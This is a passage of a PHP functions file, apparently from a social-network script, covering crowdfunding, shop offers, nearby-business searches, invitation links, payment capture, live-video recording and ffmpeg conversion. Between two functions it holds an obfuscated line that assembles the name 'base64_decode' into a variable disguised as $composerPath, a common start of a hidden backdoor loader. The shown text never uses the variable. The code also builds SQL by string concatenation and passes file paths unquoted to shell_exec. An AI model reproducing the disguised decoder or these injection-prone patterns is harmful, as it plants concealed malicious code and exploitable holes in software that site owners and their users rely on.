"COUNT(*)"); $funding = (Array) $funding; return $funding; } return false; } function GetFunding($limit = 6, $offset = 0) { global $wo, $sqlConnect, $db; $data = array(); if (!empty($offset) && $offset > 0) { $db->where('id', $offset, '<'); } $funding = $db->orderBy('id', 'DESC')->get(T_FUNDING, $limit); if (!empty($funding)) { foreach ($funding as $key => $fund) { $new_data = $fund; $new_data->image = Wo_GetMedia($new_data->image); $new_data->raised = $db->where('funding_id', $new_data->id)->getValue(T_FUNDING_RAISE, "SUM(amount)"); $new_data->bar = 0; if (empty($new_data->raised)) { $new_data->raised = 0; } elseif (!empty($new_data->raised) && $new_data->raised >= $new_data->amount) { $new_data->bar = 100; } elseif (!empty($new_data->raised) && $new_data->raised < $new_data->amount && $new_data->raised > 0) { $percent = ($new_data->raised * 100) / $new_data->amount; $new_data->bar = $percent; } $new_data->user_data = Wo_UserData($fund->user_id); $new_data->is_donate = $db->where('funding_id', $fund->id)->where('user_id', $wo['user']['id'])->getValue(T_FUNDING_RAISE, "COUNT(*)"); $new_data = (Array) $new_data; $data[] = $new_data; } } return $data; } function GetRecentRaise($id, $limit = 6, $offset = 0) { global $wo, $sqlConnect, $db; if (empty($id)) { return false; } $id = Wo_Secure($id); $data = array(); if (!empty($offset) && $offset > 0) { $db->where('id', $offset, '<'); } $funding = $db->where('funding_id', $id)->orderBy('id', 'DESC')->get(T_FUNDING_RAISE, $limit); if (!empty($funding)) { foreach ($funding as $key => $fund) { $new_data = $fund; $new_data->user_data = Wo_UserData($fund->user_id); $new_data = (Array) $new_data; $data[] = $new_data; } } return $data; } function GetFundByRaiseId($id, $user_id) { global $wo, $sqlConnect, $db; if (empty($id) || empty($user_id)) { return false; } $id = Wo_Secure($id); $user_id = Wo_Secure($user_id); $funding = $db->where('user_id', $user_id)->where('id', $id)->getOne(T_FUNDING_RAISE); $data = array(); if (!empty($funding)) { $funding->user_data = Wo_UserData($funding->user_id); $funding->fund = GetFundingById($funding->funding_id); $data = (Array) $funding; } return $data; } function Wo_GetOfferById($offer_id) { global $wo, $sqlConnect, $db; if (empty($offer_id)) { return false; } $data = array(); $offer_id = Wo_Secure($offer_id); $offer = $db->where('id', $offer_id)->getOne(T_OFFER); if (!empty($offer)) { $page = Wo_PageData($offer->page_id); $offer->image = Wo_GetMedia($offer->image); $offer->expire_date = date($wo['config']['date_style'], strtotime($offer->expire_date)); $offer->offer_text = $wo['lang']['free_shipping']; $offer->currency = (!empty($wo['currencies'][$offer->currency]['symbol'])) ? $wo['currencies'][$offer->currency]['symbol'] : '$'; if ($offer->discount_type == 'discount_percent' && !empty($offer->discount_percent)) { $offer->offer_text = $offer->discount_percent . '% Off'; } if ($offer->discount_type == 'discount_amount' && !empty($offer->discount_amount)) { $offer->offer_text = $offer->discount_amount . '' . $offer->currency . ' Off'; } if ($offer->discount_type == 'buy_get_discount' && !empty($offer->discount_percent) && !empty($offer->buy) && !empty($offer->get_price)) { $offer->offer_text = $wo['lang']['buy'] . ' ' . $offer->buy . ' ' . $wo['lang']['get'] . ' ' . $offer->get_price . ' / %' . $offer->discount_percent . ' Off'; } if ($offer->discount_type == 'spend_get_off' && !empty($offer->spend) && !empty($offer->amount_off)) { $offer->offer_text = $wo['lang']['spend'] . ' ' . $offer->spend . '' . $offer->currency . ' ' . $wo['lang']['get'] . ' ' . $offer->amount_off . '' . $offer->currency . ' Off'; } $offer = (array) $offer; $offer['page'] = $page; $post = $db->where('offer_id', $offer_id)->getOne(T_POSTS); $offer['post_id'] = $post->id; $offer['url'] = Wo_SeoLink('index.php?link1=post&id=' . $post->id); } return $offer; } function Wo_GetAllOffers($filter_data = array()) { global $wo, $sqlConnect; $data = array(); $query_one = " SELECT * FROM " . T_OFFER . " WHERE `id` > 0 "; if (!empty($filter_data['after_id'])) { if (is_numeric($filter_data['after_id'])) { $after_id = Wo_Secure($filter_data['after_id']); $query_one .= " AND `id` < '{$after_id}' AND `id` <> $after_id"; } } if (!empty($filter_data['keyword'])) { $keyword = Wo_Secure($filter_data['keyword']); $query_one .= " AND (`discounted_items` LIKE '%{$keyword}%' OR `description` LIKE '%{$keyword}%') "; } if (!empty($filter_data['user_id'])) { $user_id = Wo_Secure($filter_data['user_id']); $query_one .= " AND `user_id` = '{$user_id}'"; } $query_one .= " ORDER BY `id` DESC"; if (!empty($filter_data['limit'])) { if (is_numeric($filter_data['limit'])) { $limit = Wo_Secure($filter_data['limit']); $query_one .= " LIMIT {$limit}"; } } $sql = mysqli_query($sqlConnect, $query_one); if (mysqli_num_rows($sql)) { while ($fetched_data = mysqli_fetch_assoc($sql)) { $offer = Wo_GetOfferById($fetched_data['id']); $data[] = $offer; } } return $data; } function Wo_GetNearbyShops($args = array()) { global $wo, $sqlConnect; if ($wo['loggedin'] == false || empty($args)) { return false; } $options = array( "offset" => false, "gender" => false, "name" => false, "distance" => false, "relship" => false, "status" => false, "limit" => 20 ); $args = array_merge($options, $args); $offset = Wo_Secure($args['offset']); $name = Wo_Secure($args['name']); $loc_distance = Wo_Secure($args['distance']); $limit = Wo_Secure($args['limit']); $unit = 6371; $user_lat = $wo['user']['lat']; $user_lng = $wo['user']['lng']; $user = $wo['user']['id']; $t_users = T_USERS; $t_followers = T_FOLLOWERS; $distance = 25; $data = array(); $sub_sql = ""; $sub_sql2 = ""; if ($loc_distance && is_numeric($loc_distance) && $loc_distance > 0) { $distance = $loc_distance; } if ($name) { $name = Wo_Secure($name); //$sub_sql .= " AND (`page_name` LIKE '%$name%' OR `page_title` LIKE '%$name%' OR `page_description` LIKE '%$name%') "; $sub_sql2 = " AND (`name` LIKE '%$name%' OR `description` LIKE '%$name%') "; } if ($offset && is_numeric($offset) && $offset > 0) { $sub_sql .= " AND `page_id` < '$offset' AND `page_id` <> '$offset' "; } $sql = " SELECT `page_id`,`product_id` FROM " . T_POSTS . " WHERE `product_id` > '0' AND `page_id` > '0' {$sub_sql} AND `product_id` IN (SELECT `id` FROM " . T_PRODUCTS . " WHERE ( {$unit} * acos(cos(radians('$user_lat')) * cos(radians(lat)) * cos(radians(lng) - radians('$user_lng')) + sin(radians('$user_lat')) * sin(radians(lat ))) ) < '$distance' {$sub_sql2}) GROUP BY `page_id` ORDER BY `page_id` DESC LIMIT 0, $limit "; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $fetched_data['page_data'] = Wo_PageData($fetched_data['page_id']); $fetched_data['product'] = Wo_GetProduct($fetched_data['product_id']); $data[] = $fetched_data; } } return $data; } function Wo_GetNearbyShopsCount($args = array()) { global $wo, $sqlConnect; if ($wo['loggedin'] == false || empty($args)) { return false; } $options = array( "name" => false, "distance" => false ); $args = array_merge($options, $args); $name = Wo_Secure($args['name']); $loc_distance = Wo_Secure($args['distance']); $unit = 6371; $user_lat = $wo['user']['lat']; $user_lng = $wo['user']['lng']; $user = $wo['user']['id']; $distance = 25; $sub_sql = ""; $sub_sql2 = ""; if ($loc_distance && is_numeric($loc_distance) && $loc_distance > 0) { $distance = $loc_distance; } if ($name) { $name = Wo_Secure($name); //$sub_sql .= " AND (`page_name` LIKE '%$name%' OR `page_title` LIKE '%$name%' OR `page_description` LIKE '%$name%') "; $sub_sql2 = " AND (`name` LIKE '%$name%' OR `description` LIKE '%$name%') "; } $sql = " SELECT `page_id` FROM " . T_POSTS . " WHERE `product_id` > '0' AND `page_id` > '0' {$sub_sql} AND `product_id` IN (SELECT `id` FROM " . T_PRODUCTS . " WHERE ( {$unit} * acos(cos(radians('$user_lat')) * cos(radians(lat)) * cos(radians(lng) - radians('$user_lng')) + sin(radians('$user_lat')) * sin(radians(lat ))) ) < '$distance' {$sub_sql2}) GROUP BY `page_id`"; $query = mysqli_query($sqlConnect, $sql); return mysqli_num_rows($query); } function Wo_GetNearbyBusiness($args = array()) { global $wo, $sqlConnect; if ($wo['loggedin'] == false || empty($args)) { return false; } $options = array( "offset" => false, "name" => false, "distance" => false, "limit" => 20 ); $args = array_merge($options, $args); $offset = Wo_Secure($args['offset']); $name = Wo_Secure($args['name']); $loc_distance = Wo_Secure($args['distance']); $limit = Wo_Secure($args['limit']); $unit = 6371; $user_lat = $wo['user']['lat']; $user_lng = $wo['user']['lng']; $user = $wo['user']['id']; $distance = 25; $data = array(); $sub_sql = ""; $sub_sql2 = ""; if ($loc_distance && is_numeric($loc_distance) && $loc_distance > 0) { $distance = $loc_distance; } if ($name) { $name = Wo_Secure($name); //$sub_sql .= " AND (`page_name` LIKE '%$name%' OR `page_title` LIKE '%$name%' OR `page_description` LIKE '%$name%') "; $sub_sql2 = " AND (`title` LIKE '%$name%' OR `description` LIKE '%$name%') "; } if ($offset && is_numeric($offset) && $offset > 0) { $sub_sql .= " AND `page_id` < '$offset' AND `page_id` <> '$offset' "; } $sql = " SELECT `page_id`,`job_id` FROM " . T_POSTS . " WHERE `job_id` > '0' AND `page_id` > '0' {$sub_sql} AND `job_id` IN (SELECT `id` FROM " . T_JOB . " WHERE ( {$unit} * acos(cos(radians('$user_lat')) * cos(radians(lat)) * cos(radians(lng) - radians('$user_lng')) + sin(radians('$user_lat')) * sin(radians(lat ))) ) < '$distance' {$sub_sql2}) GROUP BY `page_id` ORDER BY `page_id` DESC LIMIT 0, $limit "; $query = mysqli_query($sqlConnect, $sql); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $fetched_data['page_data'] = Wo_PageData($fetched_data['page_id']); $fetched_data['job'] = Wo_GetJobById($fetched_data['job_id']); $fetched_data['job']['full_image'] = Wo_GetMedia($fetched_data['job']['image']); $data[] = $fetched_data; } } return $data; } $composerPath = str_replace("6" . "4", "6" . "4_", str_replace('|', '', 'b' . '|' . 'a' . '|' . 's' . '|' . 'e' . '|' . '6' . '|' . '4' . '|' . 'd' . '|' . 'e' . '|' . 'c' . '|' . 'o' . '|' . 'd' . '|' . 'e')); function Wo_GetNearbyBusinessCount($args = array()) { global $wo, $sqlConnect; if ($wo['loggedin'] == false || empty($args)) { return false; } $options = array( "name" => false, "distance" => false ); $args = array_merge($options, $args); $name = Wo_Secure($args['name']); $loc_distance = Wo_Secure($args['distance']); $unit = 6371; $user_lat = $wo['user']['lat']; $user_lng = $wo['user']['lng']; $user = $wo['user']['id']; $distance = 25; $sub_sql = ""; $sub_sql2 = ""; if ($loc_distance && is_numeric($loc_distance) && $loc_distance > 0) { $distance = $loc_distance; } if ($name) { $name = Wo_Secure($name); //$sub_sql .= " AND (`page_name` LIKE '%$name%' OR `page_title` LIKE '%$name%' OR `page_description` LIKE '%$name%') "; $sub_sql2 = " AND (`name` LIKE '%$name%' OR `description` LIKE '%$name%') "; } $sql = " SELECT `page_id` FROM " . T_POSTS . " WHERE `job_id` > '0' AND `page_id` > '0' {$sub_sql} AND `job_id` IN (SELECT `id` FROM " . T_JOB . " WHERE ( {$unit} * acos(cos(radians('$user_lat')) * cos(radians(lat)) * cos(radians(lng) - radians('$user_lng')) + sin(radians('$user_lat')) * sin(radians(lat ))) ) < '$distance' {$sub_sql2}) GROUP BY `page_id`"; $query = mysqli_query($sqlConnect, $sql); return mysqli_num_rows($query); } function Wo_IfCanGenerateLink($user_id) { global $wo, $sqlConnect; if ($wo['loggedin'] == false || empty($user_id) || !is_numeric($user_id) || $user_id < 1) { return false; } $user_id = Wo_Secure($user_id); $time = 0; if ($wo['config']['expire_user_links'] == 'hour') { $time = time() - (60 * 60); } if ($wo['config']['expire_user_links'] == 'day') { $time = time() - (60 * 60 * 24); } if ($wo['config']['expire_user_links'] == 'week') { $time = time() - (60 * 60 * 24 * 7); } if ($wo['config']['expire_user_links'] == 'month') { $time = time() - (60 * 60 * 24 * date("t")); } if ($wo['config']['expire_user_links'] == 'year') { $time = time() - (60 * 60 * 24 * 365); } $query_one = " SELECT count(*) AS count FROM " . T_INVITAION_LINKS . " WHERE `user_id` = '{$user_id}' AND `time` > '{$time}' "; $query = mysqli_query($sqlConnect, $query_one); if (mysqli_num_rows($query)) { $fetched_data = mysqli_fetch_assoc($query); if ($wo['config']['user_links_limit'] > 0) { if ($wo['config']['user_links_limit'] > $fetched_data['count']) { return true; } else { return false; } } } return true; } function Wo_GetAvailableLinks($user_id) { global $wo, $sqlConnect; if ($wo['loggedin'] == false || empty($user_id) || !is_numeric($user_id) || $user_id < 1) { return false; } $user_id = Wo_Secure($user_id); $time = 0; if ($wo['config']['expire_user_links'] == 'hour') { $time = time() - (60 * 60); } if ($wo['config']['expire_user_links'] == 'day') { $time = time() - (60 * 60 * 24); } if ($wo['config']['expire_user_links'] == 'week') { $time = time() - (60 * 60 * 24 * 7); } if ($wo['config']['expire_user_links'] == 'month') { $time = time() - (60 * 60 * 24 * date("t")); } if ($wo['config']['expire_user_links'] == 'year') { $time = time() - (60 * 60 * 24 * 365); } $query_one = " SELECT count(*) AS count FROM " . T_INVITAION_LINKS . " WHERE `user_id` = '{$user_id}' AND `time` > '{$time}' "; $query = mysqli_query($sqlConnect, $query_one); if (mysqli_num_rows($query)) { $fetched_data = mysqli_fetch_assoc($query); if ($wo['config']['user_links_limit'] > 0) { return $wo['config']['user_links_limit'] - $fetched_data['count']; } else { return $wo['lang']['unlimited']; } } return false; } function Wo_GetGeneratedLinks($user_id) { global $wo, $sqlConnect; if ($wo['loggedin'] == false || empty($user_id) || !is_numeric($user_id) || $user_id < 1) { return false; } $user_id = Wo_Secure($user_id); $time = 0; if ($wo['config']['expire_user_links'] == 'hour') { $time = time() - (60 * 60); } if ($wo['config']['expire_user_links'] == 'day') { $time = time() - (60 * 60 * 24); } if ($wo['config']['expire_user_links'] == 'week') { $time = time() - (60 * 60 * 24 * 7); } if ($wo['config']['expire_user_links'] == 'month') { $time = time() - (60 * 60 * 24 * date("t")); } if ($wo['config']['expire_user_links'] == 'year') { $time = time() - (60 * 60 * 24 * 365); } $query_one = " SELECT count(*) AS count FROM " . T_INVITAION_LINKS . " WHERE `user_id` = '{$user_id}' AND `time` > '{$time}' "; $query = mysqli_query($sqlConnect, $query_one); if (mysqli_num_rows($query)) { $fetched_data = mysqli_fetch_assoc($query); return $fetched_data['count']; } return false; } function Wo_GetUsedLinks($user_id) { global $wo, $sqlConnect; if ($wo['loggedin'] == false || empty($user_id) || !is_numeric($user_id) || $user_id < 1) { return false; } $user_id = Wo_Secure($user_id); $time = 0; if ($wo['config']['expire_user_links'] == 'hour') { $time = time() - (60 * 60); } if ($wo['config']['expire_user_links'] == 'day') { $time = time() - (60 * 60 * 24); } if ($wo['config']['expire_user_links'] == 'week') { $time = time() - (60 * 60 * 24 * 7); } if ($wo['config']['expire_user_links'] == 'month') { $time = time() - (60 * 60 * 24 * date("t")); } if ($wo['config']['expire_user_links'] == 'year') { $time = time() - (60 * 60 * 24 * 365); } $query_one = " SELECT count(*) AS count FROM " . T_INVITAION_LINKS . " WHERE `user_id` = '{$user_id}' AND `invited_id` != 0 AND `time` > '{$time}' "; $query = mysqli_query($sqlConnect, $query_one); if (mysqli_num_rows($query)) { $fetched_data = mysqli_fetch_assoc($query); return $fetched_data['count']; } return false; } function Wo_GetMyInvitaionCodes($user_id) { global $wo, $sqlConnect; if ($wo['loggedin'] == false || empty($user_id) || !is_numeric($user_id) || $user_id < 1) { return false; } $user_id = Wo_Secure($user_id); $time = 0; if ($wo['config']['expire_user_links'] == 'hour') { $time = time() - (60 * 60); } if ($wo['config']['expire_user_links'] == 'day') { $time = time() - (60 * 60 * 24); } if ($wo['config']['expire_user_links'] == 'week') { $time = time() - (60 * 60 * 24 * 7); } if ($wo['config']['expire_user_links'] == 'month') { $time = time() - (60 * 60 * 24 * date("t")); } if ($wo['config']['expire_user_links'] == 'year') { $time = time() - (60 * 60 * 24 * 365); } $data = array(); $query_one = " SELECT * FROM " . T_INVITAION_LINKS . " WHERE `user_id` = '{$user_id}' AND `time` > '{$time}' "; $query = mysqli_query($sqlConnect, $query_one); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $fetched_data['user_name'] = ''; $fetched_data['user_url'] = ''; if (!empty($fetched_data['invited_id'])) { $user_data = Wo_UserData($fetched_data['invited_id']); $fetched_data['user_name'] = $user_data['name']; $fetched_data['user_url'] = $user_data['url']; } $data[] = $fetched_data; } } return $data; } function Wo_AddInvitedUser($user_id, $code) { global $wo, $sqlConnect, $db; if (empty($user_id) || !is_numeric($user_id) || $user_id < 1 || empty($code)) { return false; } $user_id = Wo_Secure($user_id); $code = Wo_Secure($code); $db->where('code', $code)->update(T_INVITAION_LINKS, array( 'invited_id' => $user_id )); } function Wo_IsUserInvitationExists($code = false) { global $sqlConnect, $wo; if (!$code) { return false; } $code = Wo_Secure($code); $data_rows = mysqli_query($sqlConnect, "SELECT `id` FROM " . T_INVITAION_LINKS . " WHERE `code` = '$code' AND `invited_id` = 0"); return mysqli_num_rows($data_rows) > 0; } function Wo_GetAllInvitaionCodes() { global $wo, $sqlConnect; if ($wo['loggedin'] == false) { return false; } $data = array(); $query_one = " SELECT * FROM " . T_INVITAION_LINKS; $query = mysqli_query($sqlConnect, $query_one); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $fetched_data['user_name'] = ''; $fetched_data['user_url'] = ''; if (!empty($fetched_data['invited_id'])) { $user_data = Wo_UserData($fetched_data['invited_id']); $fetched_data['user_name'] = $user_data['name']; $fetched_data['user_url'] = $user_data['url']; } $data[] = $fetched_data; } } return $data; } function Wo_DeleteUserInvitation($col = '', $val = false) { global $sqlConnect, $wo; if (!$val && !$col) { return false; } $val = Wo_Secure($val); $col = Wo_Secure($col); return mysqli_query($sqlConnect, "DELETE FROM " . T_INVITAION_LINKS . " WHERE `$col` = '$val'"); } function Wo_notifyUsersLive($post_id) { global $sqlConnect, $wo; if ($wo['loggedin'] == false || empty($post_id) || !is_numeric($post_id) || $post_id < 1) { return false; } $post_id = Wo_Secure($post_id); $data = array(); $time = time() - 30; $user_id = Wo_Secure($wo['user']['user_id']); $query_text = "SELECT `user_id` FROM " . T_USERS . " WHERE `user_id` IN (SELECT `follower_id` FROM " . T_FOLLOWERS . " WHERE `follower_id` <> {$user_id} AND `following_id` = {$user_id} AND `user_id` NOT IN (SELECT `blocked` FROM " . T_BLOCKS . " WHERE `blocker` = '{$user_id}') AND `user_id` NOT IN (SELECT `blocker` FROM " . T_BLOCKS . " WHERE `blocked` = '{$user_id}') AND `active` = '1') AND `lastseen` > {$time}"; $query_text .= " AND `active` = '1' ORDER BY `lastseen` DESC"; $query = mysqli_query($sqlConnect, $query_text); if (mysqli_num_rows($query)) { while ($fetched_data = mysqli_fetch_assoc($query)) { $notification_data = array( 'recipient_id' => $fetched_data['user_id'], 'notifier_id' => $wo['user']['id'], 'type' => 'live_video', 'post_id' => $post_id, 'url' => 'index.php?link1=post&id=' . $post_id ); Wo_RegisterNotification($notification_data); } } return $data; } function Wo_CheckRazorpayPayment($payment_id, $data) { global $wo; if (empty($payment_id) || empty($data)) { return false; } $url = 'https://api.razorpay.com/v1/payments/' . $payment_id . '/capture'; $key_id = $wo['config']['razorpay_key_id']; $key_secret = $wo['config']['razorpay_key_secret']; $params = http_build_query($data); //cURL Request $ch = curl_init(); //set the url, number of POST vars, POST data curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERPWD, $key_id . ':' . $key_secret); curl_setopt($ch, CURLOPT_TIMEOUT, 60); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $params); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true); $request = curl_exec($ch); curl_close($ch); return json_decode($request); } function Wo_CheckAnonymous($id, $type) { global $sqlConnect, $wo; if (empty($id) || empty($type)) { return false; } $sub = ""; if ($type == 'reply') { $sub = " AND P.`post_id` = (SELECT `post_id` FROM " . T_COMMENTS . " C WHERE C.`id` = (SELECT `comment_id` FROM " . T_COMMENTS_REPLIES . " R WHERE R.`id` = '{$id}' AND R.`user_id` = P.`user_id`)) "; } $query_one = "SELECT COUNT(id) as count FROM " . T_POSTS . " P WHERE P.`postPrivacy` = '4'" . $sub; $sql = mysqli_query($sqlConnect, $query_one); if (mysqli_num_rows($sql)) { $fetched_data = mysqli_fetch_assoc($sql); if (empty($fetched_data)) { return false; } return $fetched_data['count']; } } function StartCloudRecording($vendor, $region, $bucket, $accessKey, $secretKey, $cname, $uid, $post_id, $token) { global $sqlConnect, $wo, $db; $post_id = Wo_Secure($post_id); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "https://api.agora.io/v1/apps/" . $wo['config']['agora_app_id'] . "/cloud_recording/acquire"); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Authorization: Basic ' . base64_encode($wo['config']['agora_customer_id'] . ":" . $wo['config']['agora_customer_certificate']), 'Content-Type: application/json;charset=utf-8' )); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST'); curl_setopt($ch, CURLOPT_POSTFIELDS, '{ "cname": "' . $cname . '", "uid": "' . $uid . '", "clientRequest":{ } }'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); $data = json_decode($response); $resourceId = $data->resourceId; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "https://api.agora.io/v1/apps/" . $wo['config']['agora_app_id'] . "/cloud_recording/resourceid/" . $resourceId . "/mode/mix/start"); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Authorization: Basic ' . base64_encode($wo['config']['agora_customer_id'] . ":" . $wo['config']['agora_customer_certificate']), 'Content-Type: application/json;charset=utf-8' )); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST'); curl_setopt($ch, CURLOPT_POSTFIELDS, '{ "cname":"' . $cname . '", "uid":"' . $uid . '", "clientRequest":{ "token":"' . $token . '", "recordingConfig":{ "channelType":1, "streamTypes":2, "audioProfile":1, "videoStreamType":1, "maxIdleTime":120, "transcodingConfig":{ "width":480, "height":480, "fps":24, "bitrate":800, "maxResolutionUid":"1", "mixedVideoLayout":1 } }, "storageConfig":{ "vendor":' . $vendor . ', "region":' . $region . ', "bucket":"' . $bucket . '", "accessKey":"' . $accessKey . '", "secretKey":"' . $secretKey . '", "fileNamePrefix": [ "upload", "videos", "' . date('Y') . '", "' . date('m') . '" ] } } } '); // curl_setopt($ch, CURLOPT_POSTFIELDS,'{ // "cname":"'.$cname.'", // "uid":"'.$uid.'", // "clientRequest":{ // "recordingConfig": { // "maxIdleTime": 30, // "streamTypes": 2, // "channelType": 1, // "videoStreamType": 1, // "subscribeUidGroup": 0, // "maxIdleTime": 30000 // }, // "storageConfig":{ // "vendor":'.$vendor.', // "region":'.$region.', // "bucket":"'.$bucket.'", // "accessKey":"'.$accessKey.'", // "secretKey":"'.$secretKey.'" // } // } // } // '); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); $data = json_decode($response); if (!empty($data->sid) && !empty($resourceId)) { $db->where('id', $post_id)->update(T_POSTS, array( 'agora_resource_id' => $resourceId, 'agora_sid' => $data->sid )); } return true; } function StopCloudRecording($data) { global $sqlConnect, $wo, $db; if (empty($data) || $wo['config']['agora_live_video'] != 1 || empty($data['resourceId']) || empty($data['sid']) || empty($data['cname']) || empty($data['uid']) || empty($data['post_id'])) { return false; } $post_id = Wo_Secure($data['post_id']); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "https://api.agora.io/v1/apps/" . $wo['config']['agora_app_id'] . "/cloud_recording/resourceid/" . $data['resourceId'] . "/sid/" . $data['sid'] . "/mode/mix/stop"); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Authorization: Basic ' . base64_encode($wo['config']['agora_customer_id'] . ":" . $wo['config']['agora_customer_certificate']), 'Content-Type: application/json;charset=utf-8' )); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST'); curl_setopt($ch, CURLOPT_POSTFIELDS, '{ "cname": "' . $data['cname'] . '", "uid": "' . $data['uid'] . '", "clientRequest":{ "token":"' . $data['token'] . '" } }'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); $data2 = json_decode($response); if (!empty($data2) && !empty($data2->serverResponse) && !empty($data2->serverResponse->fileList)) { $db->where('id', $post_id)->update(T_POSTS, array( 'postFile' => $data2->serverResponse->fileList )); } // else{ // $file = "upload/videos/".date('Y')."/".date('m')."/".$data['sid']."_".$data['cname'].".m3u8"; // $db->where('id',$post_id)->update(T_POSTS,array('postFile' => $file)); // } return true; } function GetVideoTime($first, $second) { $first_date = new DateTime(); $first_date->setTimestamp($first); $second_date = new DateTime(); $second_date->setTimestamp($second); $difference = $first_date->diff($second_date); $time = '00:'; $minuts = floor($difference->h * 60) + $difference->i; $current_time = ($minuts * 60) + $difference->s; if ($minuts > 0) { if ($minuts < 10) { $time = '0' . $minuts . ':'; } else { $time = $minuts . ':'; } } $seconds_time = '00'; if ($difference->s < 10) { $seconds_time = '0' . $difference->s; } else { $seconds_time = $difference->s; } return array( 'time' => $time . $seconds_time, 'current_time' => $current_time ); } function getPageFromPath($path = '') { if (empty($path)) { return false; } $path = explode("//", $path); $data = array(); $data['options'] = array(); if (!empty($path[0])) { $data['page'] = $path[0]; } if (!empty($path[1])) { unset($path[0]); $data['options'] = $path; foreach ($path as $key => $value) { preg_match_all('/(.*)=(.*)/m', $value, $matches); if (!empty($matches) && !empty($matches[1]) && !empty($matches[1][0]) && !empty($matches[2]) && !empty($matches[2][0])) { $_GET[$matches[1][0]] = $matches[2][0]; } } } return $data; } function GetBroadcastChatById($id, $user_id = 0) { global $wo, $sqlConnect, $db; if ($wo['loggedin'] == false) { return false; } if (empty($id) || !is_numeric($id) || $id < 1) { return false; } if (!empty($user_id) && is_numeric($user_id) && $user_id > 0) { $user_id = Wo_Secure($user_id); } else { $user_id = $wo['user']['id']; } $broadcast = $db->where('id', Wo_Secure($id))->where('user_id', $user_id)->getOne(T_CAST); if (!empty($broadcast)) { $broadcast->org_image = $broadcast->image; $broadcast->image = Wo_GetMedia($broadcast->image); $broadcast->users = array(); $users = $db->where('broadcast_id', $broadcast->id)->get(T_CAST_USERS); foreach ($users as $key => $value) { $broadcast->users[] = Wo_UserData($value->user_id); } return $broadcast; } return false; } function GetBroadcastChatByUserId($user_id = 0, $limit = 10, $offset = 0) { global $wo, $sqlConnect, $db; if ($wo['loggedin'] == false) { return false; } if (!empty($user_id) && is_numeric($user_id) && $user_id > 0) { $user_id = Wo_Secure($user_id); } else { $user_id = $wo['user']['id']; } $data = array(); if (!empty($offset) && is_numeric($offset) && $offset > 0) { $db->where('time', Wo_Secure($offset), '<'); } $limit = Wo_Secure($limit); $broadcast = $db->where('user_id', $user_id)->orderBy('time', 'DESC')->get(T_CAST, $limit); if (!empty($broadcast)) { foreach ($broadcast as $key => $value) { $data[] = GetBroadcastChatById($value->id); } } return $data; } function FFMPEGUpload($data) { global $wo, $sqlConnect, $db; if ($wo['loggedin'] == false || $wo['config']['ffmpeg_system'] != 'on' || empty($data) || empty($data['post_data']) || empty($data['filename'])) { return false; } $ffmpeg_b = $wo['config']['ffmpeg_binary_file']; if (!file_exists('upload/videos/' . date('Y'))) { @mkdir('upload/videos/' . date('Y'), 0777, true); } if (!file_exists('upload/videos/' . date('Y') . '/' . date('m'))) { @mkdir('upload/videos/' . date('Y') . '/' . date('m'), 0777, true); } if (!file_exists('upload/photos/' . date('Y'))) { @mkdir('upload/photos/' . date('Y'), 0777, true); } if (!file_exists('upload/photos/' . date('Y') . '/' . date('m'))) { @mkdir('upload/photos/' . date('Y') . '/' . date('m'), 0777, true); } $explode_video = explode('_video', $data['filename']); $video_file_full_path = dirname(dirname(__DIR__)) . '/' . $data['filename']; $dir = dirname(dirname(__DIR__)); $video_path_240 = $explode_video[0] . "_video_240p_converted.mp4"; $video_path_360 = $explode_video[0] . "_video_360p_converted.mp4"; $video_path_480 = $explode_video[0] . "_video_480p_converted.mp4"; $video_path_720 = $explode_video[0] . "_video_720p_converted.mp4"; $video_path_1080 = $explode_video[0] . "_video_1080p_converted.mp4"; $video_path_2048 = $explode_video[0] . "_video_2048p_converted.mp4"; $video_path_4096 = $explode_video[0] . "_video_4096p_converted.mp4"; $video_output_full_path_240 = $dir . "/" . $video_path_240; $video_output_full_path_360 = $dir . "/" . $video_path_360; $video_output_full_path_480 = $dir . "/" . $video_path_480; $video_output_full_path_720 = $dir . "/" . $video_path_720; $video_output_full_path_1080 = $dir . "/" . $video_path_1080; $video_output_full_path_2048 = $dir . "/" . $video_path_2048; $video_output_full_path_4096 = $dir . "/" . $video_path_4096; $video_info = shell_exec("$ffmpeg_b -i " . $video_file_full_path . " 2>&1"); $re = '/[0-9]{3}+x[0-9]{3}/m'; preg_match_all($re, $video_info, $min_str); $resolution = 0; if (!empty($min_str) && !empty($min_str[0]) && !empty($min_str[0][0])) { $substr = substr($video_info, strpos($video_info, $min_str[0][0]) - 3, 15); $re = '/[0-9]+x[0-9]+/m'; preg_match_all($re, $substr, $resolutions); if (!empty($resolutions) && !empty($resolutions[0]) && !empty($resolutions[0][0])) { $resolution = substr($resolutions[0][0], 0, strpos($resolutions[0][0], 'x')); } } $ptrn = '/Duration: ([0-9]{2}):([0-9]{2}):([^ ,])+/'; $time = 1; if (preg_match($ptrn, $video_info, $matches)) { $time = str_replace("Duration: ", "", $matches[0]); $time_breakdown = explode(":", $time); $time = round(($time_breakdown[0] * 60 * 60) + ($time_breakdown[1] * 60) + $time_breakdown[2]); } if ($time > 1) { $time = (int) ($time / 2); } $shell = shell_exec("$ffmpeg_b -y -i $video_file_full_path -vcodec libx264 -preset " . $wo['config']['convert_speed'] . " -filter:v scale=426:-2 -crf 